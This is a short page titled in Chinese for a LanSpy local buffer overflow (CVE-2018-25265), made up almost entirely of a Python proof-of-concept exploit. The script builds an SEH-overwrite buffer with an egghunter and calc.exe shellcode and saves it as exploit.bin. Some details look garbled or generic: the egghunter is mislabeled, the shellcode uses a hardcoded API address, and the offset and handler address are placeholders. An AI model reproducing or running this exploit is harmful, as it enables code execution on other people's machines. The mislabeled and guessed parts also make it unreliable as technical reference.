CVE-2018-25265: LanSpy本地缓冲区溢出漏洞

#!/usr/bin/env python3 """ PoC for CVE-2018-25265 (LanSpy Local Buffer Overflow) This script generates a malicious payload to trigger the SEH overwrite. Note: Offset addresses need to be adjusted based on the specific binary version. """ import struct # Egghunter (kernel32!WinExec) egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7") # Egg tag egg = "w00tw00t" # Calc.exe shellcode (generated by msfvenom) shellcode = ("\x31\xc9\x51\x68\x63\x61\x6c\x63\x54\xb8\xc7\x93\xc2\x77\xff\xd0" "\xcc") def generate_payload(offset, seh_address): """ Generates the malicious buffer. Structure: [Junk to Offset] + [nSEH] + [SEH Handler] + [Egghunter] + [Padding] + [Egg] + [Shellcode] """ # 1. Padding to reach the SEH record padding = b"A" * offset # 2. Next SEH handler (short jump to egghunter, usually 6 bytes back) # \xeb\x06\x90\x90 (JMP +6 + NOPs) nseh = b"\xeb\x06\x90\x90" # 3. SEH Handler address (POP POP RET instruction address) # This address must be from a non-ASLR module loaded by LanSpy seh = struct.pack("<I", seh_address) # 4. Egghunter code hunter = egghunter.encode('latin-1') # 5. Padding to ensure stability (optional) post_hunter_padding = b"C" * 100 # 6. Egg + Shellcode (placed further in memory) payload_chunk = egg.encode('latin-1') + shellcode.encode('latin-1') payload = padding + nseh + seh + hunter + post_hunter_padding + payload_chunk return payload if __name__ == "__main__": # Example usage (Offsets need debugging) # Assuming offset to SEH is roughly 1000 bytes for demonstration # Assuming a generic POP POP RET address (e.g., 0x10020120) offset = 1000 seh_addr = 0x10020120 buf = generate_payload(offset, seh_addr) print(f"[+] Generated Payload Length: {len(buf)}") print(f"[+] Payload Preview: {buf[:50]}...") # In a real scenario, this buffer would be sent to the vulnerable # LanSpy component or saved to a file that LanSpy parses. try: with open("exploit.bin", "wb") as f: f.write(buf) print("[+] Payload saved to exploit.bin") except Exception as e: print(f"[-] Error saving file: {e}")